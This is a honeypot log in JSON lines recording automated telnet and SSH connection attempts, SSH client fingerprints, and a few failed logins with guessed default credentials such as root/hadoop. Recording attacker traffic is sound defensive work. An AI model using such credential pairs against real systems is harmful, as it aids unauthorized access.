{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39888,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a5c876399cc","protocol":"telnet","message":"New connection: 104.245.105.2:39888 (10.17.0.5:23) [session: 1a5c876399cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:26.675769Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35166,"dst_ip":"10.17.0.5","dst_port":23,"session":"6adbba010a3f","protocol":"telnet","message":"New connection: 188.208.141.113:35166 (10.17.0.5:23) [session: 6adbba010a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:28.263402Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39896,"dst_ip":"10.17.0.5","dst_port":23,"session":"19780761c708","protocol":"telnet","message":"New connection: 104.245.105.2:39896 (10.17.0.5:23) [session: 19780761c708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:28.791195Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51822,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7a56256dbae","protocol":"telnet","message":"New connection: 206.189.32.23:51822 (10.17.0.5:23) [session: f7a56256dbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:29.189253Z"}
{"eventid":"cowrie.session.closed","duration":30.96984052658081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:30.549575Z","src_ip":"104.245.105.2","session":"ecddd6eeb4c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.205636978149414,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:31.468910Z","src_ip":"188.208.141.113","session":"6adbba010a3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40826,"dst_ip":"10.17.0.5","dst_port":23,"session":"4acb68078efd","protocol":"telnet","message":"New connection: 104.245.105.2:40826 (10.17.0.5:23) [session: 4acb68078efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:35.503754Z"}
{"eventid":"cowrie.session.closed","duration":37.03641605377197,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:36.551094Z","src_ip":"206.189.32.23","session":"e79fe02c5211","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.231.211.182","src_port":6153,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb154bf606c4","protocol":"telnet","message":"New connection: 45.231.211.182:6153 (10.17.0.5:23) [session: bb154bf606c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:36.743973Z"}
{"eventid":"cowrie.session.closed","duration":44.87069272994995,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:37.095893Z","src_ip":"206.189.32.23","session":"c7b0c086aace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.65465450286865,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:37.486610Z","src_ip":"104.245.105.2","session":"b90b06ad360a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40830,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fc751dc18eb","protocol":"telnet","message":"New connection: 104.245.105.2:40830 (10.17.0.5:23) [session: 9fc751dc18eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:37.974388Z"}
{"eventid":"cowrie.session.closed","duration":35.221951484680176,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:38.216244Z","src_ip":"104.245.105.2","session":"1c06c8e733bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":60466,"dst_ip":"10.17.0.5","dst_port":23,"session":"52952b8934ca","protocol":"telnet","message":"New connection: 206.189.32.23:60466 (10.17.0.5:23) [session: 52952b8934ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:38.474127Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40844,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb74ad914ad8","protocol":"telnet","message":"New connection: 104.245.105.2:40844 (10.17.0.5:23) [session: eb74ad914ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:38.821933Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40860,"dst_ip":"10.17.0.5","dst_port":23,"session":"2531657064c1","protocol":"telnet","message":"New connection: 104.245.105.2:40860 (10.17.0.5:23) [session: 2531657064c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:38.915030Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40864,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1b8cb63ce1d","protocol":"telnet","message":"New connection: 104.245.105.2:40864 (10.17.0.5:23) [session: a1b8cb63ce1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:39.151153Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":36118,"dst_ip":"10.17.0.5","dst_port":22,"session":"29e1d9deeac3","protocol":"ssh","message":"New connection: 190.108.60.10:36118 (10.17.0.5:22) [session: 29e1d9deeac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:39.647699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:39.652909Z","src_ip":"190.108.60.10","session":"29e1d9deeac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:39.859789Z","src_ip":"190.108.60.10","session":"29e1d9deeac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hadoop","message":"login attempt [root/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:40.710747Z","src_ip":"190.108.60.10","session":"29e1d9deeac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38462,"dst_ip":"10.17.0.5","dst_port":23,"session":"6626e69f6fb2","protocol":"telnet","message":"New connection: 104.245.105.2:38462 (10.17.0.5:23) [session: 6626e69f6fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:41.485698Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35758,"dst_ip":"10.17.0.5","dst_port":23,"session":"bda762da902a","protocol":"telnet","message":"New connection: 206.189.32.23:35758 (10.17.0.5:23) [session: bda762da902a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:41.894049Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:41.911409Z","src_ip":"190.108.60.10","session":"29e1d9deeac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38478,"dst_ip":"10.17.0.5","dst_port":23,"session":"87b34a9ed2e0","protocol":"telnet","message":"New connection: 104.245.105.2:38478 (10.17.0.5:23) [session: 87b34a9ed2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:43.175038Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38480,"dst_ip":"10.17.0.5","dst_port":23,"session":"91a99399a087","protocol":"telnet","message":"New connection: 104.245.105.2:38480 (10.17.0.5:23) [session: 91a99399a087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:44.908427Z"}
{"eventid":"cowrie.session.closed","duration":37.66303253173828,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:46.473621Z","src_ip":"104.245.105.2","session":"b120a81726a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10394287109375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:47.626587Z","src_ip":"104.245.105.2","session":"39cd3bf6ef81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.336732149124146,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:48.003490Z","src_ip":"104.245.105.2","session":"67b6bb95b3f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.813112020492554,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:48.556937Z","src_ip":"45.231.211.182","session":"bb154bf606c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.50232911109924,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:49.143624Z","src_ip":"104.245.105.2","session":"4a392e1b6c77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36711359024048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:49.863451Z","src_ip":"104.245.105.2","session":"27a0e77da6c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":44908,"dst_ip":"10.17.0.5","dst_port":23,"session":"a786aef4411a","protocol":"telnet","message":"New connection: 206.189.32.23:44908 (10.17.0.5:23) [session: a786aef4411a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:52.141250Z"}
{"eventid":"cowrie.session.closed","duration":42.96179556846619,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:52.292222Z","src_ip":"206.189.32.23","session":"85322c8bc015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.291579484939575,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:53.139446Z","src_ip":"188.208.141.113","session":"1923cf0d0ed6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44218,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e3d502dd66d","protocol":"telnet","message":"New connection: 104.245.105.2:44218 (10.17.0.5:23) [session: 1e3d502dd66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:54.315182Z"}
{"eventid":"cowrie.session.closed","duration":31.424402475357056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:54.526356Z","src_ip":"104.245.105.2","session":"279c808c7c50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.988285541534424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:54.745623Z","src_ip":"104.245.105.2","session":"aaf98abd02ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44206,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfddb1c178f0","protocol":"telnet","message":"New connection: 104.245.105.2:44206 (10.17.0.5:23) [session: bfddb1c178f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:55.087748Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44232,"dst_ip":"10.17.0.5","dst_port":23,"session":"58a864f39466","protocol":"telnet","message":"New connection: 104.245.105.2:44232 (10.17.0.5:23) [session: 58a864f39466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:55.093361Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44234,"dst_ip":"10.17.0.5","dst_port":23,"session":"4616bd2cad3e","protocol":"telnet","message":"New connection: 104.245.105.2:44234 (10.17.0.5:23) [session: 4616bd2cad3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:55.967771Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52046,"dst_ip":"10.17.0.5","dst_port":23,"session":"4163eea35fa7","protocol":"telnet","message":"New connection: 206.189.32.23:52046 (10.17.0.5:23) [session: 4163eea35fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:58.762220Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55924,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae1a932e9e5c","protocol":"telnet","message":"New connection: 104.245.105.2:55924 (10.17.0.5:23) [session: ae1a932e9e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:49:59.929504Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":54622,"dst_ip":"10.17.0.5","dst_port":23,"session":"89bf03f1fce8","protocol":"telnet","message":"New connection: 206.189.32.23:54622 (10.17.0.5:23) [session: 89bf03f1fce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:00.342040Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38366,"dst_ip":"159.203.135.109","dst_port":23,"session":"bad15cb51060","protocol":"telnet","message":"New connection: 162.55.233.176:38366 (159.203.135.109:23) [session: bad15cb51060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:00.514320Z"}
{"eventid":"cowrie.session.closed","duration":35.00195527076721,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:01.677642Z","src_ip":"104.245.105.2","session":"1a5c876399cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55926,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87566a3961e","protocol":"telnet","message":"New connection: 104.245.105.2:55926 (10.17.0.5:23) [session: e87566a3961e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:02.243153Z"}
{"eventid":"cowrie.session.closed","duration":4.708205223083496,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:03.470301Z","src_ip":"206.189.32.23","session":"4163eea35fa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.793718576431274,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:03.584805Z","src_ip":"104.245.105.2","session":"19780761c708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55930,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a0608c2de46","protocol":"telnet","message":"New connection: 104.245.105.2:55930 (10.17.0.5:23) [session: 9a0608c2de46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:05.477466Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":45104,"dst_ip":"10.17.0.5","dst_port":22,"session":"483f4ed0c6b9","protocol":"ssh","message":"New connection: 61.222.211.114:45104 (10.17.0.5:22) [session: 483f4ed0c6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:05.513564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:05.523343Z","src_ip":"61.222.211.114","session":"483f4ed0c6b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:05.737877Z","src_ip":"61.222.211.114","session":"483f4ed0c6b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tuser","password":"tuser","message":"login attempt [tuser/tuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:06.621063Z","src_ip":"61.222.211.114","session":"483f4ed0c6b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:07.836096Z","src_ip":"61.222.211.114","session":"483f4ed0c6b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55936,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b7062acf1e5","protocol":"telnet","message":"New connection: 104.245.105.2:55936 (10.17.0.5:23) [session: 8b7062acf1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:07.887902Z"}
{"eventid":"cowrie.session.closed","duration":30.537817001342773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:08.512097Z","src_ip":"104.245.105.2","session":"9fc751dc18eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87467861175537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:09.789336Z","src_ip":"104.245.105.2","session":"2531657064c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.457878589630127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:10.279707Z","src_ip":"104.245.105.2","session":"eb74ad914ad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.42793393135071,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:11.578997Z","src_ip":"104.245.105.2","session":"a1b8cb63ce1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.088175535202026,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:13.277296Z","src_ip":"206.189.32.23","session":"f7a56256dbae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.538535833358765,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:17.713270Z","src_ip":"104.245.105.2","session":"87b34a9ed2e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.607805252075195,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:18.111453Z","src_ip":"104.245.105.2","session":"4acb68078efd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.41755390167236,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:18.325839Z","src_ip":"104.245.105.2","session":"91a99399a087","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40266,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9bbfedcd9ae","protocol":"telnet","message":"New connection: 188.208.141.113:40266 (10.17.0.5:23) [session: b9bbfedcd9ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:19.716438Z"}
{"eventid":"cowrie.session.closed","duration":39.18409824371338,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:20.669659Z","src_ip":"104.245.105.2","session":"6626e69f6fb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43460,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f387892c0c1","protocol":"telnet","message":"New connection: 188.208.141.113:43460 (10.17.0.5:23) [session: 2f387892c0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:22.047601Z"}
{"eventid":"cowrie.session.closed","duration":43.85846304893494,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:22.332479Z","src_ip":"206.189.32.23","session":"52952b8934ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.4337637424469,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:23.327689Z","src_ip":"206.189.32.23","session":"bda762da902a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55048,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b696f833f76","protocol":"telnet","message":"New connection: 104.245.105.2:55048 (10.17.0.5:23) [session: 7b696f833f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:23.530648Z"}
{"eventid":"cowrie.session.closed","duration":3.9847829341888428,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:23.700926Z","src_ip":"188.208.141.113","session":"b9bbfedcd9ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.485031366348267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:26.572675Z","src_ip":"104.245.105.2","session":"bfddb1c178f0","protocol":"telnet"}
